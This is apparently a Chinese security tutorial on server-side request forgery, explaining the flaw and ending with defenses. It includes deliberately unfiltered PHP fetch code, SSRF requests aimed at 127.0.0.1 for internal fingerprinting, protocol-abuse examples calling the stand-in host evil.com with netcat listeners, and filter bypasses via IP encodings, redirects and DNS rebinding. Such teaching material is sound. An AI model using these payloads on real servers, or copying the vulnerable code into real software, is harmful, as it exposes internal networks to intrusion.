SSRF利用与防御

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

SSRF 危害

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
  2. 攻击运行在内网或本地的应用程序(比如溢出);
  3. 对内网web应用进行指纹识别,通过访问默认文件实现;
  4. 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
  5. 利用file协议读取本地文件等。
ssrf-jpeg

利用

常见场景

这里以php后台实现为例子

file_get_contents
1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

可以看到,后台使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。但是没有对url进行过滤,可以恶意请求内网文件。

fsockopen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

curl_exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

另外一个很常见的实现,使用curl获取数据

常见利用方式

  • 分享:通过URL地址分享网页内容
  • 转码服务
  • 在线翻译
  • 图片加载与下载:通过URL地址加载或下载图片
  • 图片、文章收藏功能
  • 未公开的api实现以及其他调用URL的功能
  • 从URL关键字中寻找
1
2
3
4
5
6
7
8
9
10
11
12
13
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
端口扫描

大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URL,比如

1
2
3
http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/

然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。

攻击应用程序

通过端口扫描可以获知常见服务的状态,之后利用其漏洞进行利用。

注意:由于使用的是HTTP协议进行内容传输,注意编码。

内网web应用指纹识别

识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装:

1
2
3
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
1
访问 http://10.0.0.1/portName.js 可以判断是否是Dlink 路由器

以及可以通过图片来分析

xdd-jpeg
攻击内网web应用

仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。

读取本地文件

如果我们指定file协议,也可能读到服务器上的文件.

URL协议支持

URL格式不仅仅支持HTTP,还有以下协议,都可以被利用:

SFTP

1
2
3
4
5
http://safebuff.com/ssrf.php?url=sftp://evil.com:11111/
evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

Dict

1
2
3
4
5
http://safebuff.com/ssrf.php?dict://attacker:11111/
evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

gopher

1
2
3
4
5
6
7
8
9
10
11
// http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
<?php
header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

TFTP

1
2
3
4
5
http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6
利用URL解析问题

URL的完整格式是这样的:

1
2
3
4
5
协议类型:[//[访问资源需要的凭证信息@]服务器地址[:端口号]][/资源层级UNIX文件路径]文件名[?查询][#片段ID]
例如http:
http(s)://username:[email protected]:80/test/test.php?id=1#level-1

在服务器地址前面加上无效的凭证信息有时可以绕过一些解析

IP地址绕过

IP地址的格式不只有一种写法:

1
2
3
4
5
6
7
8
9
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
部分省略写法:
216.58.53572
0xD8.072.53572
0330.3854660

这些格式有时候可以帮助我们绕过一些检查。

利用302跳转

当原始url通过了后台的检测,可以使用重定向来跳转的我们目标地址。

例如
xip.io提供了重定向服务,即:

1
2
3
192.168.0.1.xip.io
==>
192.168.0.1

当然你也可以在自己的VPS上实现它。

当然这种情况也有可能因为192.168.0.1这种内网地址会被检测出来,可以使用短链的方式进行绕过。(tinyurl.com等)

DNS Rebinding
ssrf-dns-rebinding

我们首先来分析下,整个流程:

  1. 首先用户发送url
  2. 服务器后台提取url.host
  3. 后台根据host去请求DNS Server对应的IP地址
  4. DNS Server返回IP地址
  5. 服务器后台判断是否为内网地址,若为内网地址,返回错误,否则根据url地址访问相应网站
  6. 获取相应内容
  7. 返回内容给用户

整个流程问题出现在第4、5步,其原因如下:

1
2
3
4
5
6
7
8
DNS在解析域名时,可以返回一个TTL值,这个值用于设置此域名解析的生命周期,如果在第4步的时候设置TTL=0(即不缓存)那么在第5步通过了后台验证需要去访问url时,由于没有DNS缓存,还需要进行一次域名解析,这时,如果我们再返回的是内网地址,那么就可以成功绕过后台的检测。
其核心思想就是 利用了DNS缓存的时间差
其最终添加了8 9两条
注:
win下DNS缓存可以通过 ipconfig /displaydns 查看
linux 下 默认不进行dns缓存

防御

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  4. 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

参考文章:
乌云2016白帽大会